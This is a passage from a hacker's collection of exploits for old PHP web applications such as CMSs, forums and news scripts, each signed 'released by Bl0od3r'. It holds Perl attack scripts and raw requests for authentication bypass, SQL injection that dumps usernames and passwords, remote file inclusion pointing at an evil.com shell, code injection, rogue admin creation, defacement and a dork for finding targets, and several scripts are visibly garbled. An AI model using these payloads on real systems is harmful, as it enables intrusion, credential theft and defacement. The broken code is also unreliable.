$len_c=length($post_c);
$sock_c=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die ("Error");
print $sock_c "POST ".$path."login.php HTTP/1.0\n";
print $sock_c "Host: ".$host."\n";
print $sock_c "Content-Type: application/x-www-form-urlencoded\n";
print $sock_c "Content-Length: ".$len_c."\n\n";
print $sock_c $post_c;

while ($ans=<$sock_c>) {
if ($ans =~ m/Invalid/) {
print "[-]Error while logging in,seems like to be not working!";
exit;
}

}
}
}

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "[+]Successfully logged in as ".$user.":".$passwd."";
print "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
#released by Bl0od3r

Lovecms auth bypass

use live http headers to send those!


POST http://localhost/admin/index.php?f=preferences

Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/admin/index.php?f=preferences
Cookie: PHPSESSID=4cef5161c7f928466a1534c0fe8843e3
Content-Type: application/x-www-form-urlencoded
Content-Length: 157

webtitle=root&descript=root&weburl=&webdir=&keywords=&defaultmodule=Content&defaulttheme=default&footer=LoveCMS%2C+2006&usrnam=root&passwd=lols&savepref=Save


#released by Bl0od3r

iprimal RFI

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
iPrimal Forums Remote File Inclusion
Downloadhttpipigroup.orgdownloadsforums.zip
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerable Code #line 126-129
.....
if($_GET['p'] == ''){

echo 'Please select an item from the menu above.';

}else{

include($_GET['p'].'.php');
.....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected File
adminindex.php =]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability
httphost.comadminindex.phpp=httpevil.comshell.txt
#released by Bl0od3r

iprimal auth bypass

#http://ipigroup.org/downloads/forums.zip

#!perl
use IO::Socket;
if (@ARGV<4) {
&header;
} else { &start };

sub start() {
$host=$ARGV[0];
$path=$ARGV[1];
$user=$ARGV[2];
$passwd=$ARGV[3];
$post="usersname=".$user."&password=".$passwd."&email=test%40test.com&name=Dummy+user&tagline=Im+a+dumy+user&location=Ohio&bday=1983-11-20&job=Being+a+test+dummy&interests=Anything&bio=I%5C%5C%5C%27ve+been+sitting+on+this+db+my+whole+life.++HELP%21&signature=This+is+my+signature.&url=http%3A%2F%2Fipigroup.org&aim=myaim&yahoo=myyahoo&msn=mymsn%40hotmail.com&icq=546546&submitupdate=Update";
$len=length($post);
$sock=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die ("Error");
print $sock "POST ".$path."admin/index.php?p=members&edit=".$user." HTTP/1.0\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$len."\n\n";
print $sock $post;

print "[+]Seems like your account has been created!Now try to login in :";
print "\n[+]User:$user\t[+]Password:$passwd";
}

sub header() {
print "\n";
print "# iprimal.pl host /path/ admin yeesss #\n";
print "\n";
exit;
}

#released by Bl0od3r

ilch sql injection

http://site.com/?m=user&um=6&uid=-1%20UNION%20SELECT%201()/*


#released by Bl0od3r

Gnom PHP auth bypass

#!/usr/bin/perl
#http://localhost/admin/admin.php?page=user&action=free&id=2
use IO::Socket;
if (@argv<2) {
print "\n";
print "# gnom_php.pl host /path/ 1 #\n";
print "\n";
exit;
}


$argv[0]=$host;
$argv[1]=$path;
$id=$ARGV[2];

$data = "id=".$id."&level=3";
$len = length $data;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "Cannot Connect Host!";
print $get1 "POST ".$path."admin/admin.php?page=set_userlevels HTTP/1.0\n";
print $get1 "Host: ".$host."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT, "+";
print "Done!\n";
#released by Bl0od3r

Fscripts 2.2.4 sql injection

#Download:http://www.fscripts.com

use IO::Socket;
if (@ARGV<3) {
&header;
} else {
&get();
}
sub get() {
$host=$ARGV[0];
$path=$ARGV[1];
  $id=$ARGV[2];
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80)
or die ("[-]Error\n");
print "[~]Connecting!\n";
print "[~]Getting Data!\n";
print $socket "GET ".$path."/news.php?action=profile&id=-1%20UNION%20SELECT%201,2,3,4,5,password,1,2,3,4,5,6,7,8,9%20FROM%20fn_users%20WHERE%20user_id=".$id."/* HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($ans=<$socket>) {
$ans=~ m/(.*?)<\/td>/ && print "--------------------------------------------\n[+]UserName: $1\n[+]PassWord:";
if ($1) {
$success=1; } else { $success=0;};
}
if ($success=="1") {
print "\n[+]Successed!";
 } else {
print "[-]Error";
   }
 }
sub header() {
print "\n";
print "#      fscripts.pl host /path/ 1      #\n";
print "\n";
exit;
}
#released by Bl0od3r

Fscripts 1.1.6 sql injection

#Download:http://fscripts.com/

use IO::Socket;
if (@ARGV<3) {
&header;
} else {
&get();
}
sub get() {
$host=$ARGV[0];
$path=$ARGV[1];
  $id=$ARGV[2];
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80)
or die ("[-]Error\n");
print "[~]Connecting!\n";
print "[~]Getting Data!\n";
print $socket "GET ".$path."news.php?action=profile&id=-1%20UNION%20SELECT%201,2,3,4,5,password,1,2,3,4,5,6,7,8,9%20FROM%20fn_users%20WHERE%20user_id=".$id."/* HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($ans=<$socket>) {
$ans=~ m/(.*?)<\/td>/ && print "--------------------------------------------\n[+]UserName: $1\n[+]PassWord:";
if ($1) {
$success=1; } else { $success=0;};
}
if ($success=="1") {
print "\n[+]Successed!";
 } else {
print "[-]Error";
   }
 }
sub header() {
print "\n";
print "#      fscripts.pl host /path/ 1      #\n";
print "\n";
exit;
}

#released by Bl0od3r

Fscript 2.2.4 remote file inclusion

/headlines.php?CONFIG[script_path]=[shell?]
#released by Bl0od3r

Easy Clanpage 2.01 sql injection

http://site.com/?section=user&action=details&id=-1%20UNION%20SELECT%201/*
#released by Bl0od3r

aWebNews user sql injection

use IO::Socket;
if (@ARGV<2) sock="IO::Socket::INET-">new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die ("[-]Error");
print $sock "GET ".$path."viewn.php?cid='UNION%20SELECT%201,2,username,password,5,6,7%20FROM%20users%20WHERE%20id=".$id."/* HTTP/1.1\r\n";
print $sock "Host: ".$host."\n";
print $sock "Accept: */*\n";
print $sock "Cookie: nbbvisit=1163324292; bbvisit=1163324293; guestlog=guestSun12Nov2006103813; PHPSESSID=d55591373fa86c65740a540d402a87c2\n";
print $sock "Connection: close\n\n";
while ($ans = <$sock>){
$ans =~ m/(.*?)<\/b>/ && print "$1\n";
}

sub usage() {
print "\n";
print "# awebnews.pl host /path/ 1 #\n";
print "\n";
exit;
}
#released by Bl0od3r

Moonware auth bypass

U can access cms-admin.php
without you need to be logged in!
http://dalemooney.lost-soldiers.com/downloads/cms-moonware.zip

#released by Bl0od3r

GravityBoardX-v1.1 remote code execution

boardname=";$file=fopen("file.php","w");fwrite($file,"",100);?>&hostname=localhost&username=root&password=root&passworconfirm=root&dbname=zomg&prefix=gbx&submit=Save+Changes
POST ".$path."configure.php HTTP/1.0

#released by Bl0od3r

DGNews v 2.1 sql injection

http://host.com/news.php?go=newslist&catid='UNION%20SELECT%201,DATABASE()/*

#released by Bl0od3r

DGNews v 2.1 auth bypass auto deface exploit

POST http://localhost/admin/category.php?go=update&act=Add HTTP/1.0

Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/admin/category.php?go=sub&act=add
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

#released by Bl0od3r

category=

OWNED

&id=

AmpJuke Version 0.4.4 remote code execution

http://www.ampjuke.org/ampjuke-0.4.4.tar.gz
I was really too lazy to write an exploit for this just do the following!
loggin as admin (my other exploit) and go to the configuration set as absoloute path (for example):
";yourcode; ?>

save and its done =] enjoy

#released by Bl0od3r

AmpJuke Version 0.4.4 auth byass

#AmpJuke Version 0.4.4 auth_bypass + remote code execution
#http://www.ampjuke.org/ampjuke-0.4.4.tar.gz
#this code will create an admin user for u,and execute a command ; good luck =]

use IO::Socket;
if (@ARGV<1) {
print "\n";
print "#        ampjuke.pl host /path/       #\n";
print "\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$data="username=ownada&admin=on&passwd=noob&lang=EN";
$sock=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die ("Exit");
print $sock "POST ".$path."index.php?what=users&act=store HTTP/1.0\n";
print $sock "Host: ".$host."\n";
print $sock "Referer: http://".$host.$path."index.php?what=users&act=create\n";
print $sock "Cookie: PHPSESSID=bd211f496c763a5fd3aac3dad60370c0\n";  #no sense,just to secure ^^
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".length($data)."\n";
print $sock "Connection: close\n\n";
print $sock $data;
print "[+]User created!\n";
#released by Bl0od3r

PHPkit 1.6.1 Sql Injection

#PHPKIT 1.6.1 Sql Injection(s)
#Released by Bl0od3r
#http://tech-bl0od3r.blogspot.com/
#Status:Critical
#http://site.com/include.php?path=login/mailer.php&userid='-1+UNION+%20SELECT+2,user_pw,33,1%20FROM%20phpkit_user%20WHERE%20user_id=1/*
#http://site.com/include.php?path=login/mailer.php&userid='-1+UNION+%20SELECT+2,user_name,33,1%20FROM%20phpkit_user%20WHERE%20user_id=1/*
#http://site.com/include.php?path=comment/comment.php&comcat=gb&subid='UNION%20SELECT%201,1,1,1,1,1,user_name,1%20FROM%20phpkit_user%20WHERE%20user_id=1/*
#http://site.com/include.php?path=comment/comment.php&comcat=gb&subid='UNION%20SELECT%201,1,1,1,1,1,user_pw,1%20FROM%20phpkit_user%20WHERE%20user_id=1/*

#eof
#released by Bl0od3r

thwBoard 3.x SQL Injection

use IO::Socket;
#http://hotscripts.com/jump.php?listing_id=18639&jump_type=1
#dork:'powered by ThWboard'
if (@ARGV<3) host="$ARGV[0];" path="$ARGV[1];" tb="$ARGV[2];" id="$ARGV[3];" sock="IO::Socket::INET-">new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die ("Can't connect!");
print $sock "GET ".$path."v_profile.php?user[userid]='UNION%20SELECT%2022,username,3,4,5,6,22,44,55,444,99,55,userpassword,1,1,1,1,1,1,1,1%20FROM%20$tb%20WHERE%20userid=$id/* HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Connection: close\n\n";

while ($ans=<$sock>) {
$ans =~ m/(.*?)<\/font>/ &&amp; print $1;
}

sub usage() {
print "\n";
print "#  ths.pl host /path/ table(tb_user) 1#\n";
print "\n";
exit;
}